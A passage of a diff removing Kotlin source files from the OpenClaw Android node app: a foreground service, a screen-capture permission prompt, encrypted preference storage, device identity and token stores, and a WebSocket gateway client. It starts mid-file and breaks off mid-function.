runtime.setCanvasDebugStatusEnabled(value)
}
fun setWakeWords(words: List<String>) {
runtime.setWakeWords(words)
}
fun resetWakeWordsDefaults() {
runtime.resetWakeWordsDefaults()
}
fun setVoiceWakeMode(mode: VoiceWakeMode) {
runtime.setVoiceWakeMode(mode)
}
fun setTalkEnabled(enabled: Boolean) {
runtime.setTalkEnabled(enabled)
}
fun refreshGatewayConnection() {
runtime.refreshGatewayConnection()
}
fun connect(endpoint: GatewayEndpoint) {
runtime.connect(endpoint)
}
fun connectManual() {
runtime.connectManual()
}
fun disconnect() {
runtime.disconnect()
}
fun handleCanvasA2UIActionFromWebView(payloadJson: String) {
runtime.handleCanvasA2UIActionFromWebView(payloadJson)
}
fun loadChat(sessionKey: String) {
runtime.loadChat(sessionKey)
}
fun refreshChat() {
runtime.refreshChat()
}
fun refreshChatSessions(limit: Int? = null) {
runtime.refreshChatSessions(limit = limit)
}
fun setChatThinkingLevel(level: String) {
runtime.setChatThinkingLevel(level)
}
fun switchChatSession(sessionKey: String) {
runtime.switchChatSession(sessionKey)
}
fun abortChat() {
runtime.abortChat()
}
fun sendChat(message: String, thinking: String, attachments: List<OutgoingAttachment>) {
runtime.sendChat(message = message, thinking = thinking, attachments = attachments)
}
}

View File

@@ -1,26 +0,0 @@
package ai.openclaw.android
import android.app.Application
import android.os.StrictMode
class NodeApp : Application() {
val runtime: NodeRuntime by lazy { NodeRuntime(this) }
override fun onCreate() {
super.onCreate()
if (BuildConfig.DEBUG) {
StrictMode.setThreadPolicy(
StrictMode.ThreadPolicy.Builder()
.detectAll()
.penaltyLog()
.build(),
)
StrictMode.setVmPolicy(
StrictMode.VmPolicy.Builder()
.detectAll()
.penaltyLog()
.build(),
)
}
}
}

View File

@@ -1,180 +0,0 @@
package ai.openclaw.android
import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.Service
import android.app.PendingIntent
import android.Manifest
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.content.pm.ServiceInfo
import androidx.core.app.NotificationCompat
import androidx.core.content.ContextCompat
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.Job
import kotlinx.coroutines.SupervisorJob
import kotlinx.coroutines.cancel
import kotlinx.coroutines.flow.combine
import kotlinx.coroutines.launch
class NodeForegroundService : Service() {
private val scope: CoroutineScope = CoroutineScope(SupervisorJob() + Dispatchers.Main)
private var notificationJob: Job? = null
private var lastRequiresMic = false
private var didStartForeground = false
override fun onCreate() {
super.onCreate()
ensureChannel()
val initial = buildNotification(title = "OpenClaw Node", text = "Starting…")
startForegroundWithTypes(notification = initial, requiresMic = false)
val runtime = (application as NodeApp).runtime
notificationJob =
scope.launch {
combine(
runtime.statusText,
runtime.serverName,
runtime.isConnected,
runtime.voiceWakeMode,
runtime.voiceWakeIsListening,
) { status, server, connected, voiceMode, voiceListening ->
Quint(status, server, connected, voiceMode, voiceListening)
}.collect { (status, server, connected, voiceMode, voiceListening) ->
val title = if (connected) "OpenClaw Node · Connected" else "OpenClaw Node"
val voiceSuffix =
if (voiceMode == VoiceWakeMode.Always) {
if (voiceListening) " · Voice Wake: Listening" else " · Voice Wake: Paused"
} else {
""
}
val text = (server?.let { "$status · $it" } ?: status) + voiceSuffix
val requiresMic =
voiceMode == VoiceWakeMode.Always && hasRecordAudioPermission()
startForegroundWithTypes(
notification = buildNotification(title = title, text = text),
requiresMic = requiresMic,
)
}
}
}
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
when (intent?.action) {
ACTION_STOP -> {
(application as NodeApp).runtime.disconnect()
stopSelf()
return START_NOT_STICKY
}
}
// Keep running; connection is managed by NodeRuntime (auto-reconnect + manual).
return START_STICKY
}
override fun onDestroy() {
notificationJob?.cancel()
scope.cancel()
super.onDestroy()
}
override fun onBind(intent: Intent?) = null
private fun ensureChannel() {
val mgr = getSystemService(NotificationManager::class.java)
val channel =
NotificationChannel(
CHANNEL_ID,
"Connection",
NotificationManager.IMPORTANCE_LOW,
).apply {
description = "OpenClaw node connection status"
setShowBadge(false)
}
mgr.createNotificationChannel(channel)
}
private fun buildNotification(title: String, text: String): Notification {
val launchIntent = Intent(this, MainActivity::class.java).apply {
flags = Intent.FLAG_ACTIVITY_SINGLE_TOP or Intent.FLAG_ACTIVITY_CLEAR_TOP
}
val launchPending =
PendingIntent.getActivity(
this,
1,
launchIntent,
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE,
)
val stopIntent = Intent(this, NodeForegroundService::class.java).setAction(ACTION_STOP)
val stopPending =
PendingIntent.getService(
this,
2,
stopIntent,
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE,
)
return NotificationCompat.Builder(this, CHANNEL_ID)
.setSmallIcon(R.mipmap.ic_launcher)
.setContentTitle(title)
.setContentText(text)
.setContentIntent(launchPending)
.setOngoing(true)
.setOnlyAlertOnce(true)
.setForegroundServiceBehavior(NotificationCompat.FOREGROUND_SERVICE_IMMEDIATE)
.addAction(0, "Disconnect", stopPending)
.build()
}
private fun updateNotification(notification: Notification) {
val mgr = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
mgr.notify(NOTIFICATION_ID, notification)
}
private fun startForegroundWithTypes(notification: Notification, requiresMic: Boolean) {
if (didStartForeground && requiresMic == lastRequiresMic) {
updateNotification(notification)
return
}
lastRequiresMic = requiresMic
val types =
if (requiresMic) {
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC or ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE
} else {
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC
}
startForeground(NOTIFICATION_ID, notification, types)
didStartForeground = true
}
private fun hasRecordAudioPermission(): Boolean {
return (
ContextCompat.checkSelfPermission(this, Manifest.permission.RECORD_AUDIO) ==
PackageManager.PERMISSION_GRANTED
)
}
companion object {
private const val CHANNEL_ID = "connection"
private const val NOTIFICATION_ID = 1
private const val ACTION_STOP = "ai.openclaw.android.action.STOP"
fun start(context: Context) {
val intent = Intent(context, NodeForegroundService::class.java)
context.startForegroundService(intent)
}
fun stop(context: Context) {
val intent = Intent(context, NodeForegroundService::class.java).setAction(ACTION_STOP)
context.startService(intent)
}
}
}
private data class Quint<A, B, C, D, E>(val first: A, val second: B, val third: C, val fourth: D, val fifth: E)

View File

@@ -1,65 +0,0 @@
package ai.openclaw.android
import android.app.Activity
import android.content.Context
import android.content.Intent
import android.media.projection.MediaProjectionManager
import androidx.activity.ComponentActivity
import androidx.activity.result.ActivityResultLauncher
import androidx.activity.result.contract.ActivityResultContracts
import androidx.appcompat.app.AlertDialog
import kotlinx.coroutines.CompletableDeferred
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.sync.Mutex
import kotlinx.coroutines.sync.withLock
import kotlinx.coroutines.withContext
import kotlinx.coroutines.withTimeout
import kotlinx.coroutines.suspendCancellableCoroutine
import kotlin.coroutines.resume
class ScreenCaptureRequester(private val activity: ComponentActivity) {
data class CaptureResult(val resultCode: Int, val data: Intent)
private val mutex = Mutex()
private var pending: CompletableDeferred<CaptureResult?>? = null
private val launcher: ActivityResultLauncher<Intent> =
activity.registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
val p = pending
pending = null
val data = result.data
if (result.resultCode == Activity.RESULT_OK && data != null) {
p?.complete(CaptureResult(result.resultCode, data))
} else {
p?.complete(null)
}
}
suspend fun requestCapture(timeoutMs: Long = 20_000): CaptureResult? =
mutex.withLock {
val proceed = showRationaleDialog()
if (!proceed) return null
val mgr = activity.getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
val intent = mgr.createScreenCaptureIntent()
val deferred = CompletableDeferred<CaptureResult?>()
pending = deferred
withContext(Dispatchers.Main) { launcher.launch(intent) }
withContext(Dispatchers.Default) { withTimeout(timeoutMs) { deferred.await() } }
}
private suspend fun showRationaleDialog(): Boolean =
withContext(Dispatchers.Main) {
suspendCancellableCoroutine { cont ->
AlertDialog.Builder(activity)
.setTitle("Screen recording required")
.setMessage("OpenClaw needs to record the screen for this command.")
.setPositiveButton("Continue") { _, _ -> cont.resume(true) }
.setNegativeButton("Not now") { _, _ -> cont.resume(false) }
.setOnCancelListener { cont.resume(false) }
.show()
}
}
}

View File

@@ -1,274 +0,0 @@
@file:Suppress("DEPRECATION")
package ai.openclaw.android
import android.content.Context
import android.content.SharedPreferences
import androidx.core.content.edit
import androidx.security.crypto.EncryptedSharedPreferences
import androidx.security.crypto.MasterKey
import kotlinx.coroutines.flow.MutableStateFlow
import kotlinx.coroutines.flow.StateFlow
import kotlinx.serialization.json.Json
import kotlinx.serialization.json.JsonArray
import kotlinx.serialization.json.JsonNull
import kotlinx.serialization.json.JsonPrimitive
import java.util.UUID
class SecurePrefs(context: Context) {
companion object {
val defaultWakeWords: List<String> = listOf("openclaw", "claude")
private const val displayNameKey = "node.displayName"
private const val voiceWakeModeKey = "voiceWake.mode"
}
private val appContext = context.applicationContext
private val json = Json { ignoreUnknownKeys = true }
private val masterKey =
MasterKey.Builder(context)
.setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
.build()
private val prefs: SharedPreferences by lazy {
createPrefs(appContext, "openclaw.node.secure")
}
private val _instanceId = MutableStateFlow(loadOrCreateInstanceId())
val instanceId: StateFlow<String> = _instanceId
private val _displayName =
MutableStateFlow(loadOrMigrateDisplayName(context = context))
val displayName: StateFlow<String> = _displayName
private val _cameraEnabled = MutableStateFlow(prefs.getBoolean("camera.enabled", true))
val cameraEnabled: StateFlow<Boolean> = _cameraEnabled
private val _locationMode =
MutableStateFlow(LocationMode.fromRawValue(prefs.getString("location.enabledMode", "off")))
val locationMode: StateFlow<LocationMode> = _locationMode
private val _locationPreciseEnabled =
MutableStateFlow(prefs.getBoolean("location.preciseEnabled", true))
val locationPreciseEnabled: StateFlow<Boolean> = _locationPreciseEnabled
private val _preventSleep = MutableStateFlow(prefs.getBoolean("screen.preventSleep", true))
val preventSleep: StateFlow<Boolean> = _preventSleep
private val _manualEnabled =
MutableStateFlow(prefs.getBoolean("gateway.manual.enabled", false))
val manualEnabled: StateFlow<Boolean> = _manualEnabled
private val _manualHost =
MutableStateFlow(prefs.getString("gateway.manual.host", "") ?: "")
val manualHost: StateFlow<String> = _manualHost
private val _manualPort =
MutableStateFlow(prefs.getInt("gateway.manual.port", 18789))
val manualPort: StateFlow<Int> = _manualPort
private val _manualTls =
MutableStateFlow(prefs.getBoolean("gateway.manual.tls", true))
val manualTls: StateFlow<Boolean> = _manualTls
private val _lastDiscoveredStableId =
MutableStateFlow(
prefs.getString("gateway.lastDiscoveredStableID", "") ?: "",
)
val lastDiscoveredStableId: StateFlow<String> = _lastDiscoveredStableId
private val _canvasDebugStatusEnabled =
MutableStateFlow(prefs.getBoolean("canvas.debugStatusEnabled", false))
val canvasDebugStatusEnabled: StateFlow<Boolean> = _canvasDebugStatusEnabled
private val _wakeWords = MutableStateFlow(loadWakeWords())
val wakeWords: StateFlow<List<String>> = _wakeWords
private val _voiceWakeMode = MutableStateFlow(loadVoiceWakeMode())
val voiceWakeMode: StateFlow<VoiceWakeMode> = _voiceWakeMode
private val _talkEnabled = MutableStateFlow(prefs.getBoolean("talk.enabled", false))
val talkEnabled: StateFlow<Boolean> = _talkEnabled
fun setLastDiscoveredStableId(value: String) {
val trimmed = value.trim()
prefs.edit { putString("gateway.lastDiscoveredStableID", trimmed) }
_lastDiscoveredStableId.value = trimmed
}
fun setDisplayName(value: String) {
val trimmed = value.trim()
prefs.edit { putString(displayNameKey, trimmed) }
_displayName.value = trimmed
}
fun setCameraEnabled(value: Boolean) {
prefs.edit { putBoolean("camera.enabled", value) }
_cameraEnabled.value = value
}
fun setLocationMode(mode: LocationMode) {
prefs.edit { putString("location.enabledMode", mode.rawValue) }
_locationMode.value = mode
}
fun setLocationPreciseEnabled(value: Boolean) {
prefs.edit { putBoolean("location.preciseEnabled", value) }
_locationPreciseEnabled.value = value
}
fun setPreventSleep(value: Boolean) {
prefs.edit { putBoolean("screen.preventSleep", value) }
_preventSleep.value = value
}
fun setManualEnabled(value: Boolean) {
prefs.edit { putBoolean("gateway.manual.enabled", value) }
_manualEnabled.value = value
}
fun setManualHost(value: String) {
val trimmed = value.trim()
prefs.edit { putString("gateway.manual.host", trimmed) }
_manualHost.value = trimmed
}
fun setManualPort(value: Int) {
prefs.edit { putInt("gateway.manual.port", value) }
_manualPort.value = value
}
fun setManualTls(value: Boolean) {
prefs.edit { putBoolean("gateway.manual.tls", value) }
_manualTls.value = value
}
fun setCanvasDebugStatusEnabled(value: Boolean) {
prefs.edit { putBoolean("canvas.debugStatusEnabled", value) }
_canvasDebugStatusEnabled.value = value
}
fun loadGatewayToken(): String? {
val key = "gateway.token.${_instanceId.value}"
val stored = prefs.getString(key, null)?.trim()
return stored?.takeIf { it.isNotEmpty() }
}
fun saveGatewayToken(token: String) {
val key = "gateway.token.${_instanceId.value}"
prefs.edit { putString(key, token.trim()) }
}
fun loadGatewayPassword(): String? {
val key = "gateway.password.${_instanceId.value}"
val stored = prefs.getString(key, null)?.trim()
return stored?.takeIf { it.isNotEmpty() }
}
fun saveGatewayPassword(password: String) {
val key = "gateway.password.${_instanceId.value}"
prefs.edit { putString(key, password.trim()) }
}
fun loadGatewayTlsFingerprint(stableId: String): String? {
val key = "gateway.tls.$stableId"
return prefs.getString(key, null)?.trim()?.takeIf { it.isNotEmpty() }
}
fun saveGatewayTlsFingerprint(stableId: String, fingerprint: String) {
val key = "gateway.tls.$stableId"
prefs.edit { putString(key, fingerprint.trim()) }
}
fun getString(key: String): String? {
return prefs.getString(key, null)
}
fun putString(key: String, value: String) {
prefs.edit { putString(key, value) }
}
fun remove(key: String) {
prefs.edit { remove(key) }
}
private fun createPrefs(context: Context, name: String): SharedPreferences {
return EncryptedSharedPreferences.create(
context,
name,
masterKey,
EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM,
)
}
private fun loadOrCreateInstanceId(): String {
val existing = prefs.getString("node.instanceId", null)?.trim()
if (!existing.isNullOrBlank()) return existing
val fresh = UUID.randomUUID().toString()
prefs.edit { putString("node.instanceId", fresh) }
return fresh
}
private fun loadOrMigrateDisplayName(context: Context): String {
val existing = prefs.getString(displayNameKey, null)?.trim().orEmpty()
if (existing.isNotEmpty() && existing != "Android Node") return existing
val candidate = DeviceNames.bestDefaultNodeName(context).trim()
val resolved = candidate.ifEmpty { "Android Node" }
prefs.edit { putString(displayNameKey, resolved) }
return resolved
}
fun setWakeWords(words: List<String>) {
val sanitized = WakeWords.sanitize(words, defaultWakeWords)
val encoded =
JsonArray(sanitized.map { JsonPrimitive(it) }).toString()
prefs.edit { putString("voiceWake.triggerWords", encoded) }
_wakeWords.value = sanitized
}
fun setVoiceWakeMode(mode: VoiceWakeMode) {
prefs.edit { putString(voiceWakeModeKey, mode.rawValue) }
_voiceWakeMode.value = mode
}
fun setTalkEnabled(value: Boolean) {
prefs.edit { putBoolean("talk.enabled", value) }
_talkEnabled.value = value
}
private fun loadVoiceWakeMode(): VoiceWakeMode {
val raw = prefs.getString(voiceWakeModeKey, null)
val resolved = VoiceWakeMode.fromRawValue(raw)
// Default ON (foreground) when unset.
if (raw.isNullOrBlank()) {
prefs.edit { putString(voiceWakeModeKey, resolved.rawValue) }
}
return resolved
}
private fun loadWakeWords(): List<String> {
val raw = prefs.getString("voiceWake.triggerWords", null)?.trim()
if (raw.isNullOrEmpty()) return defaultWakeWords
return try {
val element = json.parseToJsonElement(raw)
val array = element as? JsonArray ?: return defaultWakeWords
val decoded =
array.mapNotNull { item ->
when (item) {
is JsonNull -> null
is JsonPrimitive -> item.content.trim().takeIf { it.isNotEmpty() }
else -> null
}
}
WakeWords.sanitize(decoded, defaultWakeWords)
} catch (_: Throwable) {
defaultWakeWords
}
}
}

View File

@@ -1,26 +0,0 @@
package ai.openclaw.android.gateway
import ai.openclaw.android.SecurePrefs
class DeviceAuthStore(private val prefs: SecurePrefs) {
fun loadToken(deviceId: String, role: String): String? {
val key = tokenKey(deviceId, role)
return prefs.getString(key)?.trim()?.takeIf { it.isNotEmpty() }
}
fun saveToken(deviceId: String, role: String, token: String) {
val key = tokenKey(deviceId, role)
prefs.putString(key, token.trim())
}
fun clearToken(deviceId: String, role: String) {
val key = tokenKey(deviceId, role)
prefs.remove(key)
}
private fun tokenKey(deviceId: String, role: String): String {
val normalizedDevice = deviceId.trim().lowercase()
val normalizedRole = role.trim().lowercase()
return "gateway.deviceToken.$normalizedDevice.$normalizedRole"
}
}

View File

@@ -1,150 +0,0 @@
package ai.openclaw.android.gateway
import android.content.Context
import android.util.Base64
import java.io.File
import java.security.KeyFactory
import java.security.KeyPairGenerator
import java.security.MessageDigest
import java.security.Signature
import java.security.spec.PKCS8EncodedKeySpec
import kotlinx.serialization.Serializable
import kotlinx.serialization.json.Json
@Serializable
data class DeviceIdentity(
val deviceId: String,
val publicKeyRawBase64: String,
val privateKeyPkcs8Base64: String,
val createdAtMs: Long,
)
class DeviceIdentityStore(context: Context) {
private val json = Json { ignoreUnknownKeys = true }
private val identityFile = File(context.filesDir, "openclaw/identity/device.json")
@Synchronized
fun loadOrCreate(): DeviceIdentity {
val existing = load()
if (existing != null) {
val derived = deriveDeviceId(existing.publicKeyRawBase64)
if (derived != null && derived != existing.deviceId) {
val updated = existing.copy(deviceId = derived)
save(updated)
return updated
}
return existing
}
val fresh = generate()
save(fresh)
return fresh
}
fun signPayload(payload: String, identity: DeviceIdentity): String? {
return try {
val privateKeyBytes = Base64.decode(identity.privateKeyPkcs8Base64, Base64.DEFAULT)
val keySpec = PKCS8EncodedKeySpec(privateKeyBytes)
val keyFactory = KeyFactory.getInstance("Ed25519")
val privateKey = keyFactory.generatePrivate(keySpec)
val signature = Signature.getInstance("Ed25519")
signature.initSign(privateKey)
signature.update(payload.toByteArray(Charsets.UTF_8))
base64UrlEncode(signature.sign())
} catch (_: Throwable) {
null
}
}
fun publicKeyBase64Url(identity: DeviceIdentity): String? {
return try {
val raw = Base64.decode(identity.publicKeyRawBase64, Base64.DEFAULT)
base64UrlEncode(raw)
} catch (_: Throwable) {
null
}
}
private fun load(): DeviceIdentity? {
return readIdentity(identityFile)
}
private fun readIdentity(file: File): DeviceIdentity? {
return try {
if (!file.exists()) return null
val raw = file.readText(Charsets.UTF_8)
val decoded = json.decodeFromString(DeviceIdentity.serializer(), raw)
if (decoded.deviceId.isBlank() ||
decoded.publicKeyRawBase64.isBlank() ||
decoded.privateKeyPkcs8Base64.isBlank()
) {
null
} else {
decoded
}
} catch (_: Throwable) {
null
}
}
private fun save(identity: DeviceIdentity) {
try {
identityFile.parentFile?.mkdirs()
val encoded = json.encodeToString(DeviceIdentity.serializer(), identity)
identityFile.writeText(encoded, Charsets.UTF_8)
} catch (_: Throwable) {
// best-effort only
}
}
private fun generate(): DeviceIdentity {
val keyPair = KeyPairGenerator.getInstance("Ed25519").generateKeyPair()
val spki = keyPair.public.encoded
val rawPublic = stripSpkiPrefix(spki)
val deviceId = sha256Hex(rawPublic)
val privateKey = keyPair.private.encoded
return DeviceIdentity(
deviceId = deviceId,
publicKeyRawBase64 = Base64.encodeToString(rawPublic, Base64.NO_WRAP),
privateKeyPkcs8Base64 = Base64.encodeToString(privateKey, Base64.NO_WRAP),
createdAtMs = System.currentTimeMillis(),
)
}
private fun deriveDeviceId(publicKeyRawBase64: String): String? {
return try {
val raw = Base64.decode(publicKeyRawBase64, Base64.DEFAULT)
sha256Hex(raw)
} catch (_: Throwable) {
null
}
}
private fun stripSpkiPrefix(spki: ByteArray): ByteArray {
if (spki.size == ED25519_SPKI_PREFIX.size + 32 &&
spki.copyOfRange(0, ED25519_SPKI_PREFIX.size).contentEquals(ED25519_SPKI_PREFIX)
) {
return spki.copyOfRange(ED25519_SPKI_PREFIX.size, spki.size)
}
return spki
}
private fun sha256Hex(data: ByteArray): String {
val digest = MessageDigest.getInstance("SHA-256").digest(data)
val out = StringBuilder(digest.size * 2)
for (byte in digest) {
out.append(String.format("%02x", byte))
}
return out.toString()
}
private fun base64UrlEncode(data: ByteArray): String {
return Base64.encodeToString(data, Base64.URL_SAFE or Base64.NO_WRAP or Base64.NO_PADDING)
}
companion object {
private val ED25519_SPKI_PREFIX =
byteArrayOf(
0x30, 0x2a, 0x30, 0x05, 0x06, 0x03, 0x2b, 0x65, 0x70, 0x03, 0x21, 0x00,
)
}
}

View File

@@ -1,3 +0,0 @@
package ai.openclaw.android.gateway
const val GATEWAY_PROTOCOL_VERSION = 3

View File

@@ -1,683 +0,0 @@
package ai.openclaw.android.gateway
import android.util.Log
import java.util.Locale
import java.util.UUID
import java.util.concurrent.ConcurrentHashMap
import java.util.concurrent.atomic.AtomicBoolean
import kotlinx.coroutines.CompletableDeferred
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.Job
import kotlinx.coroutines.TimeoutCancellationException
import kotlinx.coroutines.cancelAndJoin
import kotlinx.coroutines.delay
import kotlinx.coroutines.isActive
import kotlinx.coroutines.launch
import kotlinx.coroutines.sync.Mutex
import kotlinx.coroutines.sync.withLock
import kotlinx.coroutines.withContext
import kotlinx.coroutines.withTimeout
import kotlinx.serialization.json.Json
import kotlinx.serialization.json.JsonArray
import kotlinx.serialization.json.JsonElement
import kotlinx.serialization.json.JsonNull
import kotlinx.serialization.json.JsonObject
import kotlinx.serialization.json.JsonPrimitive
import kotlinx.serialization.json.buildJsonObject
import okhttp3.OkHttpClient
import okhttp3.Request
import okhttp3.Response
import okhttp3.WebSocket
import okhttp3.WebSocketListener
data class GatewayClientInfo(
val id: String,
val displayName: String?,
val version: String,
val platform: String,
val mode: String,
val instanceId: String?,
val deviceFamily: String?,
val modelIdentifier: String?,
)
data class GatewayConnectOptions(
val role: String,
val scopes: List<String>,
val caps: List<String>,
val commands: List<String>,
val permissions: Map<String, Boolean>,
val client: GatewayClientInfo,
val userAgent: String? = null,
)
class GatewaySession(
private val scope: CoroutineScope,
private val identityStore: DeviceIdentityStore,
private val deviceAuthStore: DeviceAuthStore,
private val onConnected: (serverName: String?, remoteAddress: String?, mainSessionKey: String?) -> Unit,
private val onDisconnected: (message: String) -> Unit,
private val onEvent: (event: String, payloadJson: String?) -> Unit,
private val onInvoke: (suspend (InvokeRequest) -> InvokeResult)? = null,
private val onTlsFingerprint: ((stableId: String, fingerprint: String) -> Unit)? = null,
) {
data class InvokeRequest(
val id: String,
val nodeId: String,
val command: String,
val paramsJson: String?,
val timeoutMs: Long?,
)
data class InvokeResult(val ok: Boolean, val payloadJson: String?, val error: ErrorShape?) {
companion object {
fun ok(payloadJson: String?) = InvokeResult(ok = true, payloadJson = payloadJson, error = null)
fun error(code: String, message: String) =
InvokeResult(ok = false, payloadJson = null, error = ErrorShape(code = code, message = message))
}
}
data class ErrorShape(val code: String, val message: String)
private val json = Json { ignoreUnknownKeys = true }
private val writeLock = Mutex()
private val pending = ConcurrentHashMap<String, CompletableDeferred<RpcResponse>>()
@Volatile private var canvasHostUrl: String? = null
@Volatile private var mainSessionKey: String? = null
private data class DesiredConnection(
val endpoint: GatewayEndpoint,
val token: String?,
val password: String?,
val options: GatewayConnectOptions,
val tls: GatewayTlsParams?,
)
private var desired: DesiredConnection? = null
private var job: Job? = null
@Volatile private var currentConnection: Connection? = null
fun connect(
endpoint: GatewayEndpoint,
token: String?,
password: String?,
options: GatewayConnectOptions,
tls: GatewayTlsParams? = null,
) {
desired = DesiredConnection(endpoint, token, password, options, tls)
if (job == null) {
job = scope.launch(Dispatchers.IO) { runLoop() }
}
}
fun disconnect() {
desired = null
currentConnection?.closeQuietly()
scope.launch(Dispatchers.IO) {
job?.cancelAndJoin()
job = null
canvasHostUrl = null
mainSessionKey = null
onDisconnected("Offline")
}
}
fun reconnect() {
currentConnection?.closeQuietly()
}
fun currentCanvasHostUrl(): String? = canvasHostUrl
fun currentMainSessionKey(): String? = mainSessionKey
suspend fun sendNodeEvent(event: String, payloadJson: String?) {
val conn = currentConnection ?: return
val parsedPayload = payloadJson?.let { parseJsonOrNull(it) }
val params =
buildJsonObject {
put("event", JsonPrimitive(event))
if (parsedPayload != null) {
put("payload", parsedPayload)
} else if (payloadJson != null) {
put("payloadJSON", JsonPrimitive(payloadJson))
} else {
put("payloadJSON", JsonNull)
}
}
try {
conn.request("node.event", params, timeoutMs = 8_000)
} catch (err: Throwable) {
Log.w("OpenClawGateway", "node.event failed: ${err.message ?: err::class.java.simpleName}")
}
}
suspend fun request(method: String, paramsJson: String?, timeoutMs: Long = 15_000): String {
val conn = currentConnection ?: throw IllegalStateException("not connected")
val params =
if (paramsJson.isNullOrBlank()) {
null
} else {
json.parseToJsonElement(paramsJson)
}
val res = conn.request(method, params, timeoutMs)
if (res.ok) return res.payloadJson ?: ""
val err = res.error
throw IllegalStateException("${err?.code ?: "UNAVAILABLE"}: ${err?.message ?: "request failed"}")
}
private data class RpcResponse(val id: String, val ok: Boolean, val payloadJson: String?, val error: ErrorShape?)
private inner class Connection(
private val endpoint: GatewayEndpoint,
private val token: String?,
private val password: String?,
private val options: GatewayConnectOptions,
private val tls: GatewayTlsParams?,
) {
private val connectDeferred = CompletableDeferred<Unit>()
private val closedDeferred = CompletableDeferred<Unit>()
private val isClosed = AtomicBoolean(false)
private val connectNonceDeferred = CompletableDeferred<String?>()
private val client: OkHttpClient = buildClient()
private var socket: WebSocket? = null
private val loggerTag = "OpenClawGateway"
val remoteAddress: String =
if (endpoint.host.contains(":")) {
"[${endpoint.host}]:${endpoint.port}"
} else {
"${endpoint.host}:${endpoint.port}"
}
suspend fun connect() {
val scheme = if (tls != null) "wss" else "ws"
val url = "$scheme://${endpoint.host}:${endpoint.port}"
val request = Request.Builder().url(url).build()
socket = client.newWebSocket(request, Listener())
try {
connectDeferred.await()
} catch (err: Throwable) {
throw err
}
}
suspend fun request(method: String, params: JsonElement?, timeoutMs: Long): RpcResponse {
val id = UUID.randomUUID().toString()
val deferred = CompletableDeferred<RpcResponse>()
pending[id] = deferred
val frame =
buildJsonObject {
put("type", JsonPrimitive("req"))
put("id", JsonPrimitive(id))
put("method", JsonPrimitive(method))
if (params != null) put("params", params)
}
sendJson(frame)
return try {
withTimeout(timeoutMs) { deferred.await() }
} catch (err: TimeoutCancellationException) {
pending.remove(id)
throw IllegalStateException("request timeout")
}
}
suspend fun sendJson(obj: JsonObject) {
val jsonString = obj.toString()
writeLock.withLock {
socket?.send(jsonString)
}
}
suspend fun awaitClose() = closedDeferred.await()
fun closeQuietly() {
if (isClosed.compareAndSet(false, true)) {
socket?.close(1000, "bye")
socket = null
closedDeferred.complete(Unit)
}
}
private fun buildClient(): OkHttpClient {
val builder = OkHttpClient.Builder()
val tlsConfig = buildGatewayTlsConfig(tls) { fingerprint ->
onTlsFingerprint?.invoke(tls?.stableId ?: endpoint.stableId, fingerprint)
}
if (tlsConfig != null) {
builder.sslSocketFactory(tlsConfig.sslSocketFactory, tlsConfig.trustManager)
builder.hostnameVerifier(tlsConfig.hostnameVerifier)
}
return builder.build()
}
private inner class Listener : WebSocketListener() {
override fun onOpen(webSocket: WebSocket, response: Response) {
scope.launch {
try {
val nonce = awaitConnectNonce()
sendConnect(nonce)
} catch (err: Throwable) {
connectDeferred.completeExceptionally(err)
closeQuietly()
}
}
}
override fun onMessage(webSocket: WebSocket, text: String) {
scope.launch { handleMessage(text) }
}
override fun onFailure(webSocket: WebSocket, t: Throwable, response: Response?) {
if (!connectDeferred.isCompleted) {
connectDeferred.completeExceptionally(t)
}
if (isClosed.compareAndSet(false, true)) {
failPending()
closedDeferred.complete(Unit)
onDisconnected("Gateway error: ${t.message ?: t::class.java.simpleName}")
}
}
override fun onClosed(webSocket: WebSocket, code: Int, reason: String) {
if (!connectDeferred.isCompleted) {
connectDeferred.completeExceptionally(IllegalStateException("Gateway closed: $reason"))
}
if (isClosed.compareAndSet(false, true)) {
failPending()
closedDeferred.complete(Unit)
onDisconnected("Gateway closed: $reason")
}
}
}
private suspend fun sendConnect(connectNonce: String?) {
val identity = identityStore.loadOrCreate()
val storedToken = deviceAuthStore.loadToken(identity.deviceId, options.role)
val trimmedToken = token?.trim().orEmpty()
val authToken = if (storedToken.isNullOrBlank()) trimmedToken else storedToken
val canFallbackToShared = !storedToken.isNullOrBlank() && trimmedToken.isNotBlank()
val payload = buildConnectParams(identity, connectNonce, authToken, password?.trim())
val res = request("connect", payload, timeoutMs = 8_000)
if (!res.ok) {
val msg = res.error?.message ?: "connect failed"
if (canFallbackToShared) {
deviceAuthStore.clearToken(identity.deviceId, options.role)
}
throw IllegalStateException(msg)
}
val payloadJson = res.payloadJson ?: throw IllegalStateException("connect failed: missing payload")
val obj = json.parseToJsonElement(payloadJson).asObjectOrNull() ?: throw IllegalStateException("connect failed")
val serverName = obj["server"].asObjectOrNull()?.get("host").asStringOrNull()
val authObj = obj["auth"].asObjectOrNull()
val deviceToken = authObj?.get("deviceToken").asStringOrNull()
val authRole = authObj?.get("role").asStringOrNull() ?: options.role
if (!deviceToken.isNullOrBlank()) {
deviceAuthStore.saveToken(identity.deviceId, authRole, deviceToken)
}
val rawCanvas = obj["canvasHostUrl"].asStringOrNull()
canvasHostUrl = normalizeCanvasHostUrl(rawCanvas, endpoint)
val sessionDefaults =
obj["snapshot"].asObjectOrNull()
?.get("sessionDefaults").asObjectOrNull()
mainSessionKey = sessionDefaults?.get("mainSessionKey").asStringOrNull()
onConnected(serverName, remoteAddress, mainSessionKey)
connectDeferred.complete(Unit)
}
private fun buildConnectParams(
identity: DeviceIdentity,
